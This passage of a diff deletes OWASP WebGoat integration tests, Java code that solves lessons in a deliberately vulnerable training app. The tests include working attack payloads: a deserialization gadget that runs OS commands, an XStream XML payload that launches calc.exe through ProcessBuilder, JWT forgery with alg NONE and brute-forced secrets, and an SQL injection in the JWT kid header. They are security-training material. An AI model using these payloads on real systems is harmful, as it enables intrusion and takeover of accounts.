params.clear();
|
||||
params.put("secretText", text);
|
||||
params.put("secretFileName", "default_secret");
|
||||
checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
|
||||
}
|
||||
}
|
@ -1,37 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||
|
||||
public class DeserializationIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("InsecureDeserialization");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
|
||||
if (OS.indexOf("win") > -1) {
|
||||
params.put(
|
||||
"token",
|
||||
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
} else {
|
||||
params.put(
|
||||
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
}
|
||||
checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
|
||||
|
||||
checkResults("InsecureDeserialization");
|
||||
}
|
||||
}
|
@ -1,224 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.util.StringUtils;
|
||||
|
||||
public class GeneralLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void httpBasics() {
|
||||
startLesson("HttpBasics");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("person", "goatuser");
|
||||
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("answer", "POST");
|
||||
params.put("magic_answer", "33");
|
||||
params.put("magic_num", "4");
|
||||
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
|
||||
|
||||
params.clear();
|
||||
params.put("answer", "POST");
|
||||
params.put("magic_answer", "33");
|
||||
params.put("magic_num", "33");
|
||||
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
|
||||
|
||||
checkResults("HttpBasics");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAsOtherUserHttpBasics() {
|
||||
login("steven");
|
||||
startLesson("HttpBasics");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("person", "goatuser");
|
||||
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void httpProxies() {
|
||||
startLesson("HttpProxies");
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("x-request-intercepted", "true")
|
||||
.contentType(ContentType.JSON)
|
||||
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
|
||||
checkResults("HttpProxies");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void cia() {
|
||||
startLesson("CIA");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
|
||||
+ " website.");
|
||||
params.put(
|
||||
"question_1_solution",
|
||||
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 4: By launching a denial of service attack on the servers.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 2: The systems security is compromised even if only one goal is harmed.");
|
||||
checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
|
||||
checkResults("CIA");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void vulnerableComponents() {
|
||||
if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
|
||||
String solution =
|
||||
"<contact class='dynamic-proxy'>\n"
|
||||
+ "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
|
||||
+ " <handler class='java.beans.EventHandler'>\n"
|
||||
+ " <target class='java.lang.ProcessBuilder'>\n"
|
||||
+ " <command>\n"
|
||||
+ " <string>calc.exe</string>\n"
|
||||
+ " </command>\n"
|
||||
+ " </target>\n"
|
||||
+ " <action>start</action>\n"
|
||||
+ " </handler>\n"
|
||||
+ "</contact>";
|
||||
startLesson("VulnerableComponents");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("payload", solution);
|
||||
checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
|
||||
checkResults("VulnerableComponents");
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void insecureLogin() {
|
||||
startLesson("InsecureLogin");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "CaptainJack");
|
||||
params.put("password", "BlackPearl");
|
||||
checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
|
||||
checkResults("InsecureLogin");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void securePasswords() {
|
||||
startLesson("SecurePasswords");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("password", "ajnaeliclm^&&@kjn.");
|
||||
checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
|
||||
checkResults("SecurePasswords");
|
||||
|
||||
startLesson("AuthBypass");
|
||||
params.clear();
|
||||
params.put("secQuestion2", "John");
|
||||
params.put("secQuestion3", "Main");
|
||||
params.put("jsEnabled", "1");
|
||||
params.put("verifyMethod", "SEC_QUESTIONS");
|
||||
params.put("userId", "12309746");
|
||||
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
|
||||
checkResults("AuthBypass");
|
||||
|
||||
startLesson("HttpProxies");
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("x-request-intercepted", "true")
|
||||
.contentType(ContentType.JSON)
|
||||
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
checkResults("HttpProxies");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void chrome() {
|
||||
startLesson("ChromeDevTools");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("param1", "42");
|
||||
params.put("param2", "24");
|
||||
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.formParams(params)
|
||||
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("output");
|
||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||
|
||||
params.clear();
|
||||
params.put("successMessage", secretNumber);
|
||||
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("number", "24");
|
||||
params.put("network_num", "24");
|
||||
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
|
||||
|
||||
checkResults("ChromeDevTools");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void authByPass() {
|
||||
startLesson("AuthBypass");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("secQuestion2", "John");
|
||||
params.put("secQuestion3", "Main");
|
||||
params.put("jsEnabled", "1");
|
||||
params.put("verifyMethod", "SEC_QUESTIONS");
|
||||
params.put("userId", "12309746");
|
||||
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
|
||||
checkResults("AuthBypass");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void lessonTemplate() {
|
||||
startLesson("LessonTemplate");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("param1", "secr37Value");
|
||||
params.put("param2", "Main");
|
||||
checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
|
||||
checkResults("LessonTemplate");
|
||||
}
|
||||
}
|
@ -1,104 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
|
||||
public class IDORIntegrationTest extends IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
public void init() {
|
||||
startLesson("IDOR");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testIDORLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 2 - login", this::loginIDOR),
|
||||
dynamicTest("profile", this::profile));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() {
|
||||
checkResults("IDOR");
|
||||
}
|
||||
|
||||
private void loginIDOR() {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("username", "tom");
|
||||
params.put("password", "cat");
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
|
||||
}
|
||||
|
||||
private void profile() {
|
||||
|
||||
// View profile - assignment 3a
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("IDOR/profile"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("userId"),
|
||||
CoreMatchers.is("2342384"));
|
||||
|
||||
// Show difference - assignment 3b
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("attributes", "userId,role");
|
||||
checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
|
||||
|
||||
// View profile another way - assignment 4
|
||||
params.clear();
|
||||
params.put("url", "WebGoat/IDOR/profile/2342384");
|
||||
checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
|
||||
|
||||
// assignment 5a
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
|
||||
// assignment 5b
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON) // part of the lesson
|
||||
.body(
|
||||
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
|
||||
+ " \"userId\":\"2342388\"}")
|
||||
.put(webGoatUrlConfig.url("IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
}
|
@ -1,256 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static io.restassured.RestAssured.given;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.filter.log.LogDetail;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Map;
|
||||
import lombok.Getter;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.owasp.webgoat.ServerUrlConfig;
|
||||
import org.springframework.http.HttpStatus;
|
||||
|
||||
public abstract class IntegrationTest {
|
||||
|
||||
protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
|
||||
protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
|
||||
|
||||
@Getter private String webGoatCookie;
|
||||
@Getter private String webWolfCookie;
|
||||
@Getter private final String user = "webgoat";
|
||||
|
||||
@BeforeEach
|
||||
public void login() {
|
||||
login("webgoat");
|
||||
}
|
||||
|
||||
protected void login(String user) {
|
||||
String location =
|
||||
given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(webGoatUrlConfig.url("login"))
|
||||
.then()
|
||||
.log()
|
||||
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.header("Location");
|
||||
if (location.endsWith("?error")) {
|
||||
webGoatCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(webGoatUrlConfig.url("register.mvc"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
} else {
|
||||
webGoatCookie =
|
||||
given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(webGoatUrlConfig.url("login"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
}
|
||||
|
||||
webWolfCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(webWolfUrlConfig.url("login"))
|
||||
.then()
|
||||
.statusCode(302)
|
||||
.cookie("WEBWOLFSESSION")
|
||||
.extract()
|
||||
.cookie("WEBWOLFSESSION");
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void logout() {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.get(webGoatUrlConfig.url("logout"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
|
||||
public void startLesson(String lessonName) {
|
||||
startLesson(lessonName, false);
|
||||
}
|
||||
|
||||
public void startLesson(String lessonName, boolean restart) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
if (restart) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
}
|
||||
|
||||
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.put(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkResults(String lesson) {
|
||||
var result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
|
||||
.andReturn();
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
result.then().statusCode(200).extract().jsonPath().getList("solved"),
|
||||
CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
public void checkResults() {
|
||||
var result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
|
||||
.andReturn();
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
result.then().statusCode(200).extract().jsonPath().getList("solved"),
|
||||
CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
public void checkAssignment(
|
||||
String url, ContentType contentType, String body, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(contentType)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.body(body)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public String getWebWolfFileServerLocation() {
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("file-server-location"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.replace("%20", " ");
|
||||
return result;
|
||||
}
|
||||
|
||||
public String webGoatServerDirectory() {
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("server-directory"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
}
|
||||
|
||||
public void cleanMailbox() {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.delete(webWolfUrlConfig.url("mail"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.ACCEPTED.value());
|
||||
}
|
||||
}
|
@ -1,307 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||
import io.jsonwebtoken.Header;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.security.KeyPair;
|
||||
import java.security.KeyPairGenerator;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.interfaces.RSAPublicKey;
|
||||
import java.time.Instant;
|
||||
import java.util.Base64;
|
||||
import java.util.Calendar;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.jose4j.jwk.JsonWebKeySet;
|
||||
import org.jose4j.jwk.RsaJsonWebKey;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
||||
|
||||
public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws IOException, NoSuchAlgorithmException {
|
||||
startLesson("JWT");
|
||||
|
||||
decodingToken();
|
||||
|
||||
resetVotes();
|
||||
|
||||
findPassword();
|
||||
|
||||
buyAsTom();
|
||||
|
||||
deleteTomThroughKidClaim();
|
||||
|
||||
deleteTomThroughJkuClaim();
|
||||
|
||||
quiz();
|
||||
|
||||
checkResults("JWT");
|
||||
}
|
||||
|
||||
private String generateToken(String key) {
|
||||
return Jwts.builder()
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "WebGoat")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, key)
|
||||
.compact();
|
||||
}
|
||||
|
||||
private String getSecretToken(String token) {
|
||||
for (String key : JWTSecretKeyEndpoint.SECRETS) {
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
|
||||
} catch (JwtException e) {
|
||||
continue;
|
||||
}
|
||||
return TextCodec.BASE64.encode(key);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private void decodingToken() {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("jwt-encode-user", "user")
|
||||
.post(webGoatUrlConfig.url("JWT/decode"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void findPassword() {
|
||||
|
||||
String accessToken =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("JWT/secret/gettoken"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.asString();
|
||||
|
||||
String secret = getSecretToken(accessToken);
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("token", generateToken(secret))
|
||||
.post(webGoatUrlConfig.url("JWT/secret"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void resetVotes() throws IOException {
|
||||
String accessToken =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
|
||||
.then()
|
||||
.extract()
|
||||
.cookie("access_token");
|
||||
|
||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
|
||||
JsonNode bodyObject = mapper.readTree(body);
|
||||
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
||||
|
||||
String replacedToken =
|
||||
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(
|
||||
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
|
||||
.toString())
|
||||
.concat(".")
|
||||
.replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("access_token", replacedToken)
|
||||
.post(webGoatUrlConfig.url("JWT/votings"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void buyAsTom() throws IOException {
|
||||
|
||||
String header =
|
||||
new String(
|
||||
Base64.getUrlDecoder()
|
||||
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body =
|
||||
new String(
|
||||
Base64.getUrlDecoder()
|
||||
.decode(
|
||||
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
|
||||
.getBytes(Charset.defaultCharset())));
|
||||
|
||||
body = body.replace("Jerry", "Tom");
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
|
||||
String replacedToken =
|
||||
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
||||
.concat(".")
|
||||
.replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Authorization", "Bearer " + replacedToken)
|
||||
.post(webGoatUrlConfig.url("JWT/refresh/checkout"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void deleteTomThroughKidClaim() {
|
||||
Map<String, Object> header = new HashMap();
|
||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||
header.put(
|
||||
JwsHeader.KEY_ID,
|
||||
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||
String token =
|
||||
Jwts.builder()
|
||||
.setHeader(header)
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "Tom")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, "deletingTom")
|
||||
.compact();
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
